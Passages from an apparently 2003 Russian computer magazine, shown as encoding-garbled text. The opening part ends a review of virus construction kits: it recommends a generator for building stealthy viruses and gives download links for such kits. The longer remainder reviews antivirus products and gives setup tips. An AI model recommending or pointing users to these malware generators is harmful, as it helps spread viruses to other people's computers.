dows-ôàéëû (òàê ïàëåâà ìåíüøå),
êîëè÷åñòâî ôàéëîâ, çàðàæåííûõ çà
îäèí ðàç, òîæå ìîæíî âûáðàòü.

Åñòü äàæå òàêàÿ âåùü: åñëè âèðóñ ïîâ-
ðåæäåí (!), òî áóäåò âûäàâàòüñÿ ñòðîêà,
êîòîðóþ ìîæíî çàäàòü. Êðîìå òîãî,
ìîæíî ïîñòàâèòü çàùèòó îò debug'à
(õîòÿ, ïî-ìîåìó, åå íå ìåøàëî áû ñòà-
âèòü àâòîìàòè÷åñêè), ïðîöåäóðó ïðîòèâ
Usafe. Ìîæíî òàêæå âûáðàòü êàòàëîã
äëÿ çàðàæåíèÿ (èëè âåñü âèíò). È ýòî
òîëüêî ÷àñòü âîçìîæíîñòåé ýòîãî âåëè-
êîëåïíîãî ãåíåðàòîðà. Êîðî÷å ãîâîðÿ,
áîëüøîé respect àâòîðó ýòîé çàòåè çà
òî, ÷òî ñîçäàë òàêîé êà÷åñòâåííûé ïðî-
äóêò è íå äàë âòîïòàòü â ãðÿçü ñëàâíîå
èìÿ ðîññèéñêîãî ïðîãðàììèñòà.
Äèàãíîç: î÷åíü ðåêîìåíäóþ âñåì,
êòî õî÷åò ñîçäàòü êà÷åñòâåííûé âè-
ðóñ (íàñêîëüêî ýòî âîçìîæíî ïðè èñ-
ïîëüçîâàíèè ãåíåðàòîðà), êîòîðûé
áåç ëèøíåãî ïàëåâà ñäåëàåò ñâîå
ãðÿçíîå äåëî.

Ýòî âñå ãåíåðàòîðû, êîòîðûå ÿ õîòåë
ïðåäñòàâèòü â ýòîì îáçîðå. Âûáèðàé
è ïîëüçóéñÿ. Íî ïîìíè, ÷òî ñäåëàòü
äåéñòâèòåëüíî íîâûé âèðóñ ìîæíî
òîëüêî ñîáñòâåííûìè ðóêàìè "ñ íó-
ëÿ". Òàê ÷òî assembler-foreva.
Â îáùåì, äåðçàé... A
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Win9x/WinNT
Size
30 Êá

http://vx.netlux.org/vx.php?id=tidx

Ýòî âñå, ÷òî óìååò äåëàòü PetiK Script

Worm and Virus Generator (à êàêîå ïðè

ýòîì íàçâàíèå ãîðäîå)

Win9x/WinNT
Size
106 Êá

http://vx.netlux.org/vx.php?id=ta06

Îäèíîêîå ÷åðíîå îêíî - âîò è âñå, ÷òî,

ïî ìíåíèþ àâòîðà, òðåáóåòñÿ ñîçäàòåëþ

âèðóñîâ...
NuKE RAN-
DOMIC LIFE
GENERA-
TOR - ýòî
ñàìûé ñòà-
ðûé ãåíåðà-
òîð çëà â
íàøåì îá-
çîðå. Íî,
òåì íå ìå-
íåå, îí îá-
ëàäàåò
î÷åíü õîðî-
øèì, èíòóè-
òèâíî ïî-
íÿòíûì èí-
òåðôåéñîì,
êîòîðûé
äàñò ôîðó
ìíîãèì ñîâ-
ðåìåííûì
ãåíåðàòî-
ðàì.
Âûáèðàé
ïóíêò New
Monster
(íåóäîáíî
áåç ìûøè,
íàâåðíîå).
Â íåì íóæ-
íûå òåáå
ïðèìî÷êè â
âèðóñ.
Âêëþ÷àé
êàêèå õî-
÷åøü - è
âïåðåä, â
ïóíêò
Create.

Òàê çàêàëÿëàñü ñòàëü (íà ðèñóíêå

ïðîöåññ ñîçäàíèÿ ôàéëà òèïà *.asm)

Äèçàéí "ãåíåðàòîðà" - ñàìà ïðîñòîòà

Âåëèêà ìûñëü ðóññêîãî ÷åëîâåêà!

Ms-Dos/Win9x/WinNT
Size
133 Êá

http://vx.netlux.org/vx.php?id=te02

Ó ýòîãî ãåíåðàòîðà î÷åíü ìíîãî

âîçìîæíîñòåé. Ìîæíî, íàïðèìåð,

âûáèðàòü çîíó çàðàæåíèÿ...



Êàðîëèê Àíäðåé (andrusha@sl.ru)

Å ñëè òû ïîëüçóåøüñÿ ðåñóðñàìè ãëîáàëüíîé ïàóòèíû, ñêà÷èâàÿ âñåâîçìîæíûå ïðîãðàììû, è àêòèâíî
ïåðåïèñûâàåøüñÿ ñ äðóçüÿìè ïî ïî÷òå, òî ïðî âèðóñû çíàåøü íå ïîíàñëûøêå. Cïðÿòàòüñÿ îò íèõ íåâîçìîæíî, íî

èì ìîæíî ïðîòèâîñòîÿòü - äîñòàòî÷íî ïîñòàâèòü àíòèâèðóñ.

ÏÎÑÒÀÂÜ
ÏÐÅÄÎÕÐÀÍÈÒÅËÜ
ÎÁÇÎÐ ÀÍÒÈÂÈÐÓÑÎÂ

å çíàþ íè îäíîãî ðà-
çóìíîãî äðóãà, ó êîòî-
ðîãî íåò íà êîìïüþòå-
ðå àíòèâèðóñà. Ãëóïî
îòäàâàòü ñåáÿ íà ñúå-

äåíèå ýòèì ìåëêèì è óæàñíûì
ìîíñòðàì - âèðóñàì. Ê ñ÷àñòüþ, åñòü,
÷åì ïðèêðûòü ñâîé çàä. Äåéñòâè-
òåëüíî õîðîøèõ àíòèâèðóñîâ ñóùå-
ñòâóåò áîëåå ÷åì äîñòàòî÷íî, íî ðàñ-
ñóæäàòü, êàêîé èç íèõ ëó÷øèé - ÷èñ-
òîé âîäû äåìàãîãèÿ. Öåëü æå ýòîé
ñòàòüè - îáçîð àíòèâèðóñîâ, êîòîðûå
ñòîèò èñïîëüçîâàòü â ðåãóëÿðíîé
óáîðêå ñâîåãî êîìïüþòåðà. À êàêîé
èç íèõ ïîñòàâèòü - âûáèðàé ñàì è
ïîëüçóéñÿ íà çäîðîâüå.

DOCTOR WEB (WWW.DRWEB.RU)

Íàñòîÿùèé âåòåðàí áîðüáû ñ
âèðóñàìè, ïîÿâèâøèéñÿ åùå

âî âðåìåíà DOS (òîãäà åùå áûëè àê-
òóàëüíû äèñêåòû 5,25 äþéìà). Òå-
ïåðü ýòî ïîëíîöåííûé 32-áèòíûé
áîðåö ñ âèðóñàìè, ðàáîòàþùèé â
Windows 95/98/NT, DOS/386, OS/2,
Novell NetWare Linux è FreeBSD.

Ïðîãðàììà ðàçäåëåíà íà îáîëî÷êó,
îðèåíòèðîâàííóþ íà êîíêðåòíóþ îñü, è
ÿäðî, íå çàâèñÿùåå îò ñðåäû îáèòàíèÿ.
Ýòî óäîáíî ïðè èñïîëüçîâàíèè îäíîé
âèðóñíîé áàçû äëÿ ðàçíûõ îñåé, àâòî-
ìàòè÷åñêîãî ïîïîëíåíèÿ âèðóñíîé áà-
çû è îáíîâëåíèé îáîëî÷êè è ÿäðà.

Äîïîëíåíèÿ ê âèðóñíîé áàçå ïîÿâ-
ëÿþòñÿ íå ðåæå îäíîãî ðàçà â íåäå-
ëþ (www.drweb.ru/get), ïðè ýòîì òû
ìîæåøü îçíàêîìèòüñÿ ñ íîâûìè
ïîñòóïëåíèÿìè â äåòàëÿõ -
www.drweb.ru/news.

KASPERSKY ANTIVIRUS
(ANTIVIRAL TOOLKIT PRO)
(WWW.AVP.RU)

Îäèí èç ñàìûõ ïîïóëÿðíûõ àí-
òèâèðóñîâ ó íàñ è íà çàïàäå.

Ïðåæäå íàçûâàëñÿ AVP, íî èç-çà
÷àñòûõ ïîääåëîê íàçâàíèÿ áûë
ïîçäíåå ïåðåèìåíîâàí â Kaspersky
Antivirus. Åñòü âåðñèè äëÿ freeBSD
Unix, BSDi Unix, Linux, Lotus Notes
R5.02 è âûøå, OpenBSD, Palm OS,
Solaris, Windows
2000/95/98/CE/ME/NT/XP.

Íàñòîÿùèé ìîíñòð ïî ÷àñòîòå îá-
íîâëåíèé - äâà ðàçà â äåíü (îêîëî 6
âå÷åðà è îêîëî 3 óòðà). Êðîìå ýòîãî
åñòü åæåíåäåëüíûå îáíîâëåíèÿ è
êóìóëÿòèâíûå îáíîâëåíèÿ - ïîëíîå
îáíîâëåíèå êîìïëåêòà àíòèâèðóñ-
íûõ áàç îäèí ðàç â äâà-òðè ìåñÿöà.

Ïîìèìî ïîèñêà âèðóñîâ, èìåþùèõ-
ñÿ â àíòèâèðóñíîé áàçå, óìååò îáíà-
ðóæèâàòü íåèçâåñòíûå âèðóñû áëà-
ãîäàðÿ òåõíîëîãèè ýâðèñòè÷åñêîãî
àíàëèçà âòîðîãî ïîêîëåíèÿ (ê ïðè-
ìåðó, ïîçâîëèë îáíàðóæèòü ðàçíî-
âèäíîñòè âèðóñà "ILOVEYOU"). Íå
ìåíåå ïîëåçíàÿ ôèøêà - êîíòðîëü
öåëîñòíîñòè äàííûõ. Ïðè îáíàðóæå-
íèè âèðóñíîé àêòèâíîñòè (íåñàíêöè-
îíèðîâàííûå èçìåíåíèÿ â ôàéëàõ
èëè ñèñòåìíîì ðååñòðå) ïîçâîëÿåò
âîññòàíàâëèâàòü èñõîäíèêè è óäà-
ëÿòü âðåäîíîñíûå êîäû.

Åñòü âñòðîåííûé ìîíèòîð ðåàëüíîãî
âðåìåíè, îñîáåííî àêòóàëüíûé äëÿ
ôèëüòðàöèè ýëåêòðîííîé ïî÷òû. Âàæ-
íî, ÷òî ïðîãðàììà íå òîëüêî óäàëÿåò
âèðóñû èç òåëà ïèñüìà, íî è âîññòà-
íàâëèâàåò îðèãèíàëüíîå ñîäåðæèìîå.

ESET NOD 32
(WWW.NOD32.COM.AU)

Àâñòðàëèéñêèé âóíäåðêèíä,
ïîëó÷èâøèé ìíîæåñòâî ïðåñ-

òèæíûõ íàãðàä çà áîðüáó ñ âèðóñà-
ìè. Ðàáîòàåò ïîä Windows
95/98/ME/NT/2k/XP, UNIX/Linux,
Novell, MS DOS, Lotus Domino è ò.ä.
Äâèæîê ñêàíèðóþùèõ ìîäóëåé äëÿ
âñåõ ïëàòôîðì îäèíàêîâûé.

Ìîíèòîð AMON (Antivirus MONitor)
çàïóñêàåòñÿ àâòîìàòè÷åñêè ïðè çàã-
ðóçêå ñèñòåìû è ïîçâîëÿåò ïðåäî-
òâðàòèòü îòêðûòèå è èñïîëíåíèå çà-
ðàæåííûõ ôàéëîâ. Ñîõðàíÿåò àê-
òèâíîñòü äàæå â ïðîöåññå âûêëþ-
÷åíèÿ ñèñòåìû (shutdown). Ñêàíèðó-
åò êàê ëîêàëüíûå, òàê è ñåòåâûå
äèñêè. Óìååò îïåðàòèâíî îïîâå-
ùàòü ÷åðåç ýëåêòðîííóþ ïî÷òó ïî
SMTP-ïðîòîêîëó.

Äëÿ àíàëèçà òðàôèêà ïðè ñåòåâîì
ïîäêëþ÷åíèè åñòü îòäåëüíûé ìî-
äóëü - IMON (Internet MONitor), ðàáî-
òàþùèé íà óðîâíå Winsock-à. Äëÿ
àíàëèçà âõîäÿùåé ïî÷òû èñïîëüçó-
åòñÿ EMON (Email MONitor), êîòîðûé
ïîäìåíÿåò ñîáîé ñòàíäàðòíûé POP3-
ôèëüòð.

PANDA ANTIVIRUS PLATINUM
(WWW.PANDASOFTWARE.COM)

Àíàëîã AVP, ñ âñòðîåííîé òåõ-
íîëîãèåé ýâðèñòè÷åñêîãî àíà-

ëèçà, ïîçâîëÿþùåé îïîçíàâàòü è
îáåçâðåæèâàòü íåèçâåñòíûå âèðó-
ñû. Ïðè ýòîì òðåáîâàíèÿ ê ðåñóðñàì
ñìåøíûå: ïðîöåññîð 90 ÌÃö, 32 Ìá
îïåðàòèâíîé ïàìÿòè è 20 Ìá ñâî-
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áîäíîãî ìåñòà íà äèñêå. Çàòî÷åí ïîä
Windows XP/2k/NT/ME/98/95.

Ñàìè ïðîèçâîäèòåëè íàçûâàþò
ñâîå äåòèùå "ïîñòàâèë è çàáûë".
Ïðîãðàììà ñàìà çàïóñêàåòñÿ ïðè
ñòàðòå ñèñòåìû, ñàìà âñå îòñëåæèâà-
åò, èñïðàâíî ðèñóåò îò÷åòû è çàïðà-
øèâàåò ÷åðåç èíòåðíåò îáíîâëåíèÿ
àíòèâèðóñíûõ áàç. Äîñòóïíû åæåä-
íåâíûå è êóìóëÿòèâíûå (ïîëíîñòüþ
âñÿ àíòèâèðóñíàÿ áàçà) îáíîâëåíèÿ.

Âñòðîåííàÿ òåõíîëîãèÿ SmartClean
ïîçâîëÿåò êîððåêòíî îáåçâðåæè-
âàòü çàðàæåííûå ôàéëû, âîññòàíàâ-
ëèâàÿ ïîâðåæäåííóþ èíôîðìàöèþ.
À ìîäóëü ïðîâåðêè âõîäÿùåé ýëåêò-
ðîííîé ïî÷òû, ÷òî ñåé÷àñ àêòóàëüíî,
ïðîâåðÿåò ïèñüìà äî òîãî, êàê îíè
áóäóò îòêðûòû, èñêëþ÷àÿ âîçìîæ-
íîñòü çàðàæåíèÿ ÷åðåç ñêðèïòû, êî-
òîðûå àâòîìàòè÷åñêè àêòèâèçèðóþò-
ñÿ ïðè îòêðûòèè ïèñåì.

NETWORK ASSOCIATES MCAFEE
VIRUSSCAN (WWW.MCAFEE.RU)

Àíòèâèðóñû ñåìåéñòâà McAfee
Security ïðåäíàçíà÷åíû äëÿ

êîìïëåêñíîé àíòèâèðóñíîé çàùèòû,
íà÷èíàÿ îò êàðìàííîãî èëè ïåðñî-
íàëüíîãî êîìïüþòåðà äî ðàñïðåäå-
ëåííîé ñåòè. Ðàáîòàåò ñ Windows
95/98/ME/NT/2k/XP, DOS, Macintosh,
Novell Netware, FreeBSD, Linux, HP-UX,
AIX, SCO, Solaris, MS Exchange, Lotus
Notes/Domino, Palm OS, Windows
CE/Pocket PC è EPOC (Psion).

Ñðåäè äðóãèõ àíòèâèðóñîâ âûäåëÿ-
åòñÿ ñâîèìè íàðàáîòêàìè ïî çàùèòå
ñåòåé. Ðàçðàáîòàííûé ìîäóëü
ThreatScan íå èìååò àíàëîãîâ è ïîç-
âîëÿåò îáíàðóæèâàòü íåçàùèùåí-
íûå, íåóïðàâëÿåìûå, çàðàæåííûå
èëè óÿçâèìûå ìàøèíû â ñåòè. Â ðå-
çóëüòàòå, ïîçâîëÿåò ïðåäîòâðàòèòü
ìàññîâûå ýïèäåìèè âíóòðè ñåòè.
Îòêðûòûå ñåòåâûå ðåñóðñû ìîãóò
ÿâèòüñÿ ïðè÷èíîé ïîâòîðíûõ ýïèäå-

ìèé òèïà Funlove èëè Nimda. Êðîìå
òîãî, ThreatScan ñâîåâðåìåííî ðåà-
ãèðóåò íà ïîÿâëåíèå íîâûõ óÿçâè-
ìîñòåé áëàãîäàðÿ àâòîìàòè÷åñêîìó
îáíîâëåíèþ áàçû ñèãíàòóð.

Äðóãàÿ èíòåðåñíàÿ íàðàáîòêà - ýâ-
ðèñòè÷åñêèé àíàëèçàòîð ViruLogic.
Îí îïðåäåëÿåò, íàñêîëüêî ïîäîçðå-
âàåìàÿ ïðîãðàììà ñâîèì ïîâåäåíèåì
íàïîìèíàåò âèðóñ (ê ïðèìåðó, ïîïûò-
êà ñêðûòîé ìîäèôèêàöèè ôàéëîâ).
Åñëè êîëè÷åñòâî ïîäîçðèòåëüíûõ
äåéñòâèé ïðåâûøàåò äîïóñòèìûé ïî-
ðîã, òî ïðîãðàììà êëàññèôèöèðóåòñÿ
êàê ïîòåíöèàëüíûé âèðóñ. Ïî îöåí-
êàì íåçàâèñèìûõ òåñòîâ
(www.mcafee.ru/av_tests) òåõíîëîãèÿ
McAfee ViruLogic âõîäèò â ÷èñëî íàè-
áîëåå ýôôåêòèâíûõ ïî îáíàðóæå-
íèþ íåèçâåñòíûõ âèðóñîâ.

SYMANTEC NORTON ANTIVIRUS
(WWW.SYMANTEC.COM)

Åùå îäíà êðóïíàÿ çàáóãîðíàÿ
êîìïàíèÿ, ñïåöèàëèçèðóþùàÿ-

ñÿ â îáëàñòè òåõíîëîãèé ïî áåçîïàñ-
íîñòè â èíòåðíåòå. Øòàìïóåò ðàç-
íîñòîðîííèé ñîôò, â òîì ÷èñëå è àí-
òèâèðóñû - ïîñëåäíÿÿ âåðñèÿ Norton
AntiVirus 2003. Ïðîãðàììà îðèåíòè-
ðîâàíà íà Windows XP/2k/Me/98.

Èíòåðåñíà òåì, ÷òî, ïîìèìî ñòàíäà-
ðòíûõ ôóíêöèé àíòèâèðóñà, âêëþ÷à-
åò ðàçíîîáðàçíûå äîïîëíèòåëüíûå
ôóíêöèè: âîññòàíîâëåíèå ñòåðòûõ
èëè ïîâðåæäåííûõ äàííûõ, î÷èñòêà
ñèñòåìû, çàùèòà êðèòè÷åñêè âàæíûõ
ôàéëîâ, ôðàãìåíòèðîâàíèå íåíóæ-
íûõ ôàéëîâ äëÿ ïîâûøåíèÿ êîíôè-
äåíöèàëüíîñòè è ò.ï. Ïîðîé ýòî
î÷åíü óäîáíî - íå íóæíî óñòàíàâëè-
âàòü äîïîëíèòåëüíûå ïðîãðàììû,
òàê êàê âñå åñòü â îäíîé.

Áëàãîäàðÿ ýâðèñòè÷åñêèì òåõíîëî-
ãèÿì Worm Blocking è Script Blocking
÷åðâè íå ñìîãóò ïðîáðàòüñÿ íà òâîé
êîìïüþòåð è áóäóò áåçæàëîñòíî
óíè÷òîæåíû åùå íà ïîäñòóïàõ. Â
ïîñëåäíåå âðåìÿ àòàêè ÷åðâåé íàï-
ðàâëåíû â îñíîâíîì íà ïî÷òó, òàê
êàê ïîñðåäñòâîì åå îíè ëåãêî ðàñï-
ðîñòðàíÿþòñÿ ïî èíòåðíåòó. Òàê âîò,
îáå òåõíîëîãèè ïðèìåíÿþòñÿ ïðè
àíàëèçå âõîäÿùåé è èñõîäÿùåé ïî÷-
òû, áëîêèðóÿ äàæå åùå íå èçâåñò-
íûå ðàçíîâèäíîñòè ÷åðâåé.
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Åñëè òû õî÷åøü îïðîáîâàòü ðàçíûå àíòèâèðóñû, òåáå ñîâñåì íå
îáÿçàòåëüíî èõ ñêà÷èâàòü è óñòàíàâëèâàòü. Ìíîãèå ïðîèçâîäèòåëè
ïðåäîñòàâëÿþò íà ñâîèõ ñàéòàõ áåñïëàòíûé ñåðâèñ îíëàéí-ïîèñêà
âèðóñîâ íà êîìïüþòåðå, ïîçâîëÿÿ îöåíèòü ýôôåêòèâíîñòü ñâîåãî
äâèæêà.

Ïîäîáíîå åñòü íà www.drweb.ru, www.avp.ru è íà ìíîãèõ äðóãèõ
ñàéòàõ ïðîèçâîäèòåëåé àíòèâèðóñîâ. Çàõîäèøü íà ñàéò, âûáèðà-
åøü ôàéëû äëÿ ïðîâåðêè íà ñâîåì âèíòå è âïåðåä. Êîíå÷íî, ïðî-
èçâîäèòåëè íå äóðàêè, è ëå÷èòü íàéäåííûå âèðóñû òû íå ñìîæåøü.
Çàòî äëÿ îöåíêè ýôôåêòèâíîñòè àíòèâèðóñà ïîäîéäåò â ñàìûé ðàç.
Ïðîâåðÿåøü ñâîé êîìïüþòåð ðàçíûìè äâèæêàìè, à ëó÷øèé àíòèâè-
ðóñ óæå ñêà÷èâàåøü.

Íî ó ïîäîáíîãî ïîèñêà åñòü è ñóùåñòâåííûå îãðàíè÷åíèÿ. Ê ïðè-
ìåðó, îáû÷íî ðàçìåð ïðîâåðÿåìîãî ôàéëà îãðàíè÷åí. À íåêîòîðûå
íå ïîçâîëÿþò ïðîâåðÿòü öåëûå äèñêè, äèðåêòîðèè è äàæå íåñêîëü-
êî ôàéëîâ. Äà, íàâåðíîå, ïðîâåðÿòü ñâîé ñîôò ïî îäíîìó ôàéëèêó
âåñüìà çàíÿòíî :).
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Áëàãîäàðÿ ýâðèñòè÷åñêèì òåõíîëîãèÿì
Worm Blocking è Script Blocking ÷åðâè íå

ñìîãóò ïðîáðàòüñÿ íà òâîé êîìïüþòåð.



TREND MICRO PC-CILLIN
(WWW.ANTIVIRUS.COM)

Èíòåðåñíûé ãèáðèä àíòèâèðóñà
ñ ôàåðâîëîì (firewall) - PC-cillin

2003, ðàáîòàåò â Windows
98/98SE/Me/NT/2000/XP. Èìåííî
ñîâìåùåíèå àíòèâèðóñà è ôàåðâîëà
îáåñïå÷èëî ýòîé ïðîãðàììå íåïëî-
õîå áóäóùåå.

Ôàåðâîë ïîçâîëÿåò ýôôåêòèâíî
îòñëåæèâàòü è ôèëüòðîâàòü âåñü
òðàôèê, ñâîäÿ íà íåò ëþáûå àòàêè
èçâíå íà òâîé êîìïüþòåð. Àíàëîãè÷-
íî áëîêèðóþòñÿ íåñàíêöèîíèðîâàí-
íûå îáðàùåíèÿ èçíóòðè - âåäü âîç-
ìîæíî, ÷òî ó òåáÿ óæå ñèäèò òðîÿí,
óïðàâëÿåìûé ãíóñíûì ñîïëèâûì õà-
êåðîì. Áëîêèðîâàòü ìîæíî êàê ïîð-
òû, òàê è çàïðîñû ñ îïðåäåëåííûõ
àäðåñîâ.

Ó÷èòûâàÿ íîâûå òåíäåíöèè, ïðîã-
ðàììà ïîçâîëÿåò çàùèòèòü êîìïüþ-
òåð îò àòàê ïðè èñïîëüçîâàíèè â ñå-
òè Wi-Fi. Ó íàñ ýòî ïîêà íå àêòóàëüíî,
íî êòî çíàåò.

Êðîìå òîãî, ýòîò àíòèâèðóñ óìååò
ðàáîòàòü ñ PDA, èñïîëüçóåòñÿ â
Palm, Pocket PC è EPOC.

F-SECURE ANTI-VIRUS
(WWW.F-SECURE.COM)

Ïðîèçâîäèòåëü ïðåäëàãàåò äâà
ðåøåíèÿ: F-Secure Anti-Virus

2003 è F-Secure Internet Security
2003. Ïåðâîå - ïðîñòî àíòèâèðóñ,
âòîðîå - àíàëîãè÷íî PC-cillin, ñ
âñòðîåííûì ôàåðâîëîì. Ïîääåðæè-
âàåò ñëåäóþùèå ïëàòôîðìû:
Windows XP/ME/2000/NT/98/95.

Ôèøêà ýòîé ñîôòèíû - âíåøíÿÿ
ïðîñòîòà, ñîâìåùàþùàÿ â ñåáå ýô-
ôåêòèâíûé äâèæîê, àâòîìàòè÷åñêîå
îáíîâëåíèå àíòâèðóñíûõ áàç è áå-
çîòêàçíóþ ðàáîòó. Î ìíîãîì ãîâîðèò
ñàìàÿ âûñîêàÿ îöåíêà ñðåäè ñåìè
äðóãèõ òåñòèðóåìûõ àíòèâèðóñîâ,
äàííàÿ ýòîìó àíòèâèðóñó øâåäñêèì
èíòåðíåò-èçäàíèåì

(http://sartryck.idg.se/Art/Virus3_iw3
2003.html) â ìàðòå 2003 ãîäà.

Ïðè ïîèñêå âèðóñîâ èñïîëüçóåòñÿ
ìíîãîìîäóëüíûé äâèæîê, êàæäûé ìî-
äóëü çàíèìàåòñÿ ïîèñêîì âèðóñîâ
òîëüêî îïðåäåëåííîãî òèïà. Ýòî ïîç-
âîëÿåò óñêîðèòü ïîèñê è îáåñïå÷èâà-
åò ýôôåêòèâíîñòü åãî ðåçóëüòàòîâ.
Êàæäûé ìîäóëü èñïîëüçóåò ýâðèñòè-
÷åñêèé àíàëèç, ïîçâîëÿÿ îòëàâëèâàòü
åùå íå èçâåñòíûå âèðóñû èëè ðàçíî-
âèäíîñòè óæå ñóùåñòâóþùèõ âèðóñîâ
(ïîñëåäíåå íàèáîëåå àêòóàëüíî).

ALADDIN KNOWLEDGE SYSTEMS
ESAFE (WWW.EALADDIN.COM)

Åùå îäèí íîìèíàíò - "Ëó÷øèé àí-
òèâèðóñ 2002 ãîäà" â PC Magazine

(www.pcmag.com). Ñîñòîèò èç øåñòè (!)
ìîäóëåé: àíòèâèðóñ, àíòèâàíäàë, çàùè-
òà îò õàêåðîâ, àíòèñïàì, ôèëüòð ïîõîæ-
äåíèé ïî âåáó è çàùèòà ïî÷òû. Âñå
øåñòü ìîäóëåé î÷åíü ýôôåêòèâíû ïî
îòäåëüíîñòè, à âìåñòå - ïðîñòî óðàãàí.

Àíòèâèðóñ ïðîâåðÿåò è ëå÷èò âñå,
÷òî òîëüêî ìîæíî. Ñàìîå çàáàâíîå,
÷òî â òåõíîëîãèè Second Opinion (âòî-
ðîå ìíåíèå) ïðèìåíÿåòñÿ äâèæîê îò

Ëàáîðàòîðèè Êàñïåðñêîãî, ïîçâîëÿÿ
óäâîèòü ýôôåêòèâíîñòü ïîèñêà è ëå-
÷åíèÿ ðàçíîøåðñòíûõ âèðóñîâ. Âíåä-
ðåíèå "âòîðîãî ìíåíèÿ" áûëî íåîáõî-
äèìî, òàê êàê ñîáñòâåííûé äâèæîê íå
ñïàñàë îò íåêîòîðîé íå÷èñòè, ñ êîòî-
ðîé îòëè÷íî ñïðàâëÿåòñÿ AVP, îñî-
áåííî ñ ðàçíîâèäíîñòÿìè òðîÿíîâ.

Àíòèâàíäàë - ìîäóëü, êîòîðûé îòñå-
êàåò âñåâîçìîæíûå ìàêðîâèðóñû, òàê
ïîïóëÿðíûå â Word'å, Excel'å è ïðî÷èõ
"çàìå÷àòåëüíûõ" ïðîãðàììíûõ ïðî-
äóêòàõ îò Ìàéêðîñîôò. Êðîìå ýòîãî,
ìîäóëü áîðåòñÿ ñ íåõîðîøèìè ñêðèï-
òàìè, êîòîðûå âñòðå÷àþòñÿ íà ñàéòàõ
è â ïðèñûëàåìûõ ïèñüìàõ.

Çàùèòà îò õàêåðîâ ïðåäñòàâëåíà
òðåìÿ òåõíîëîãèÿìè: XploitStopper,
Anti-hacking è Anti-spoofing. Èç èõ
íàçâàíèé óæå ïîíÿòíî, ÷òî èõ
äåéñòâèå íàïðàâëåíî íà ïðåñå÷åíèå
ëþáûõ DoS-àòàê, ýêñïëîèòîâ è ïîïû-
òîê âòîðæåíèÿ èçâíå ÷åðåç ñàéòû è
ýëåêòðîííûå ïèñüìà.

Àíòèñïàì èìååò ìíîæåñòâî íàñòðî-
åê, ïî êîòîðûì ôèëüòðóåòñÿ âõîäÿ-
ùèé òðàôèê: ÷åðíûé ñïèñîê, ïðîâåðêà
DNS, áëîêèðîâêà ïî ñëîâàì, áëîêè-
ðîâêà î÷åâèäíîãî ñïàìà, ïðîâåðêà çà-
ãîëîâêîâ, àíàëèç òåêñòà, ñèãíàòóð è
ìíîãîå äðóãîå. Ìàëî íå ïîêàæåòñÿ :).

COMMAND ANTIVIRUS
(WWW.COMMANDCOM.COM)

Ìíîãîïëàòôîðìåííûé àíòèâè-
ðóñ, èìåþùèé âåðñèè ïðàêòè-

÷åñêè äëÿ âñåõ èçâåñòíûõ îïåðàöè-
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Ïî÷åìó-òî øèðîêî ðàñïðîñòðàíåíî îøèáî÷íîå ìíåíèå, ÷òî âñå çà-
âèñèò îò òîãî, êàêîé àíòèâèðóñ ïîñòàâèøü, à äàëüøå êàê ïî ìàñëó.
Íåñîìíåííî, âàæíî, êàêîé àíòèâèðóñ òû èñïîëüçóåøü, íî íå ìåíåå
âàæíî è òî, êàê òû åãî íàñòðîèë. Åñòü íåïèñàííûå ïðàâèëà, êîòîðûå
àêòóàëüíû äëÿ ëþáîãî àíòèâèðóñà:

Îáíîâëÿé àíòèâèðóñíûå áàçû êàê ìîæíî ÷àùå. Ñêàíèðîâàíèå ñî
ñòàðîé áàçîé - ïðîáóêñîâêà íà ìåñòå. Íå ïîëåíèñü çàéòè íà ñàéò
ïðîèçâîäèòåëÿ è óçíàòü, êàê ÷àñòî äîñòóïíû íîâûå ïîñòóïëåíèÿ.
Ïîðîé ýòî îäèí èç ãëàâíûõ êðèòåðèåâ ïðè âûáîðå àíòèâèðóñà ïðè
ïðî÷èõ ðàâíûõ.

Âñåãäà èñïîëüçóé âîçìîæíîñòè àíòèâèðóñà ïî ìàêñèìóìó. Äà,
ðàáîòà çàìåäëèòñÿ, íî øàíñû ïðîïóñòèòü çàðàçó áóäóò ñâåäåíû ê
íóëþ. Â íàñòðîéêàõ âûáèðàé ñêàíèðîâàíèå âñåõ ôàéëîâ (ëþáûõ
ôîðìàòîâ è ðàçìåðîâ), ïî÷òîâûõ áàç è àðõèâîâ. Åñëè åñòü íàñòðîé-
êà ñëîæíîñòè àíàëèçàòîðà êîäà - ñòàâü íà ìàêñèìóì! À âîò âêëþ-
÷àòü ðåàëòàéì ìîíèòîð èëè íåò - âîïðîñ ñïîðíûé. Êàê ìíå êàæåòñÿ,
äîñòàòî÷íî ðåãóëÿðíî ïðîâåðÿòü âñå è âñÿ, íå çàãðóæàÿ ðåñóðñû
êîìïüþòåðà ïîñòîÿííûì ìîíèòîðèíãîì.

Åñëè ÷òî-òî ñêà÷èâàåøü èç èíòåðíåòà - ñðàçó íà ïðîâåðêó, åùå
äî èíñòàëëÿöèè. È íå íàäåéñÿ íà âêëþ÷åííûé ìîíèòîð, îí ìîæåò
ýëåìåíòàðíî çàïîçäàòü èëè íå ñðàáîòàòü, âñå áûâàåò.

ÍÀÑÒÐÎÉÑß ÍÀ ËÓ×ØÅÅ
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îííûõ ñèñòåì. Ñðåäè îòëè÷èòåëüíûõ
îñîáåííîñòåé - äèíàìè÷åñêàÿ çàùè-
òà (DVP, Dynamic Virus Protection),
ïëàíèðîâàíèå, òåõíîëîãèÿ drag'n'-
drop, àäìèíèñòðèðîâàíèå ñåòåé è
òåõíîëîãèÿ Holocheck.

Èäåÿ äèíàìè÷åñêîé çàùèòû ïðå-
äåëüíî ïðîñòà - ïðè êàæäîì îáðàùå-
íèè ê ëþáûì íîñèòåëÿì â îáÿçà-
òåëüíîì ïîðÿäêå ïðîâåðÿåòñÿ çàãðó-
çî÷íûé ñåêòîð. Ïëàíèðîâàíèå òîæå
î÷åâèäíî - ìîæíî çàäàâàòü äåíü,
âðåìÿ è ïåðèîäè÷íîñòü ñêàíèðîâà-
íèÿ íà íàëè÷èå âèðóñîâ.

Òåõíîëîãèÿ drag'n'drop - íåçàìåíè-
ìàÿ øòóêà â áûòó. Åñëè â îñòàëüíûõ

àíòèâèðóñàõ, ÷òîáû ïðîñêàíèðîâàòü
îòäåëüíûé ôàéë, íóæíî áûëî ìå-
íÿòü íàñòðîéêè çàäà÷è, òî òóò äîñòà-
òî÷íî ìûøêîé êèíóòü ïîäîïûòíûé
ôàéë ïîâåðõ îêíà ïðîãðàììû.

Àäìèíèñòðèðîâàíèå ñåòåé ñïàñàåò,
åñëè íóæíî îòñëåæèâàòü íåñêîëüêî
ìàøèí, óïðàâëÿÿ âñåìè ñ îäíîãî
